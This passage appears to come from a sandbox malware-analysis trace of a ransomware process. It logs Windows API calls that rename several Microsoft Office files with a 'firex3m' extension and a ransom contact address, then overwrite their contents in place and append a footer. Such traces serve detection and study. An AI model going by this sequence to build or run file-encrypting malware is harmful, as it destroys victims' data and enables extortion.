nFileSizeLow=0x96, dwReserved0=0x6d7fd20, dwReserved1=0x6a47d8, cFileName="MSPUB_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~2.FIR")) returned 0x6d54c0 [0146.421] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0146.421] Sleep (dwMilliseconds=0x1) [0146.437] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT", len=0x42 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT") returned 1 [0146.437] GetProcessHeap () returned 0x630000 [0146.437] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26f8) returned 0x71f7c78 [0146.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.437] CloseHandle (hObject=0x69c) returned 1 [0146.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.438] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~3.FIR")) returned 0x6d5280 [0146.438] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.439] GetProcessHeap () returned 0x630000 [0146.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717d18 [0146.439] GetProcessHeap () returned 0x630000 [0146.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718678 [0146.439] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.439] ReadFile (in: hFile=0x69c, lpBuffer=0x717d18, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717d18*, lpNumberOfBytesRead=0x6d7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.440] GetProcessHeap () returned 0x630000 [0146.440] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0146.440] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.440] WriteFile (in: hFile=0x69c, lpBuffer=0x718678*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718678*, lpNumberOfBytesWritten=0x6d7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.440] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x69c, lpBuffer=0x718737*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718737*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.441] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.441] CloseHandle (hObject=0x69c) returned 1 [0146.441] GetProcessHeap () returned 0x630000 [0146.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718678 | out: hHeap=0x630000) returned 1 [0146.441] GetProcessHeap () returned 0x630000 [0146.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717d18 | out: hHeap=0x630000) returned 1 [0146.441] GetProcessHeap () returned 0x630000 [0146.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0146.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d3bb311, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x6d7fd20, dwReserved1=0x717d18, cFileName="MSPUB_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~3.FIR")) returned 0x6d5440 [0146.441] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.441] Sleep (dwMilliseconds=0x1) [0146.458] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC", len=0x42 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC") returned 1 [0146.458] GetProcessHeap () returned 0x630000 [0146.458] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26f4) returned 0x71f7c78 [0146.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.458] CloseHandle (hObject=0x69c) returned 1 [0146.458] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.459] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~4.FIR")) returned 0x6d5540 [0146.459] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0146.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0146.460] GetProcessHeap () returned 0x630000 [0146.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecd750 [0146.460] GetProcessHeap () returned 0x630000 [0146.460] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecf1e0 [0146.460] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.460] ReadFile (in: hFile=0x69c, lpBuffer=0x6ecd750, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd750*, lpNumberOfBytesRead=0x6d7ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.467] GetProcessHeap () returned 0x630000 [0146.467] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.467] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.467] WriteFile (in: hFile=0x69c, lpBuffer=0x6ecf1e0*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf1e0*, lpNumberOfBytesWritten=0x6d7ff0c*=0x260, lpOverlapped=0x0) returned 1 [0146.467] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.467] WriteFile (in: hFile=0x69c, lpBuffer=0x6ecf43f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf43f*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.467] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.467] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.467] CloseHandle (hObject=0x69c) returned 1 [0146.500] GetProcessHeap () returned 0x630000 [0146.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecf1e0 | out: hHeap=0x630000) returned 1 [0146.500] GetProcessHeap () returned 0x630000 [0146.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd750 | out: hHeap=0x630000) returned 1 [0146.500] GetProcessHeap () returned 0x630000 [0146.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9ba9874, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ba9874, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d407991, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x6d7fd20, dwReserved1=0x6ecd750, cFileName="MSPUB_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUB_~4.FIR")) returned 0x6d5440 [0146.511] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0146.511] Sleep (dwMilliseconds=0x1) [0147.683] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT", len=0x41 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT") returned 1 [0147.683] GetProcessHeap () returned 0x630000 [0147.683] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26c0) returned 0x71f7c78 [0147.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0148.905] CloseHandle (hObject=0x3f8) returned 1 [0148.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0148.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0148.949] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0148.950] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa38f59d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa38f59d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3b57c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSRCHLTS.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHL~2.FIR")) returned 0x6d54c0 [0148.950] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0148.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\psrchlts.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0148.950] GetProcessHeap () returned 0x630000 [0148.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3df90 [0148.951] GetProcessHeap () returned 0x630000 [0148.951] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f493c0 [0148.951] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.951] ReadFile (in: hFile=0x3f8, lpBuffer=0x6f3df90, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df90*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0155.873] GetProcessHeap () returned 0x630000 [0155.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0155.873] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.873] WriteFile (in: hFile=0x3f8, lpBuffer=0x6f493c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f493c0*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0155.874] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.874] WriteFile (in: hFile=0x3f8, lpBuffer=0x6f547bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f547bf*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.874] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.874] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.874] CloseHandle (hObject=0x3f8) returned 1 [0155.874] GetProcessHeap () returned 0x630000 [0155.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f493c0 | out: hHeap=0x630000) returned 1 [0155.874] GetProcessHeap () returned 0x630000 [0155.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3df90 | out: hHeap=0x630000) returned 1 [0155.874] GetProcessHeap () returned 0x630000 [0155.874] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0155.875] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PSRCHLTS.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa38f59d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa38f59d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22dbfdb3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcd88, dwReserved0=0x9f87496, dwReserved1=0x6f3df88, cFileName="PSRCHLTS.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PSRCHL~2.FIR")) returned 0x6d5480 [0155.875] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0155.875] Sleep (dwMilliseconds=0x1) [0158.083] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap", len=0x65 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap") returned 1 [0158.083] GetProcessHeap () returned 0x630000 [0158.083] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b90) returned 0x707d3d0 [0158.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\powerviewres.ru.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0158.089] CloseHandle (hObject=0x6e0) returned 1 [0158.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\powerviewres.ru.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\powerviewres.ru.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15d14b21, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x530d1, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ru.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5580 [0158.092] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0158.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ru\\PowerViewRes.ru.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ru\\powerviewres.ru.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0158.092] GetProcessHeap () returned 0x630000 [0158.092] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f27730 [0158.092] GetProcessHeap () returned 0x630000 [0158.092] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f32b60 [0158.092] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.092] ReadFile (in: hFile=0x6e0, lpBuffer=0x6f27730, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f27730*, lpNumberOfBytesRead=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.361] GetProcessHeap () returned 0x630000 [0164.361] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0164.362] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.362] WriteFile (in: hFile=0x6e0, lpBuffer=0x6f32b60*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b60*, lpNumberOfBytesWritten=0x6d7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.362] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.362] WriteFile (in: hFile=0x6e0, lpBuffer=0x6f3df5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df5f*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.492] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.492] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.492] CloseHandle (hObject=0x6e0) returned 1 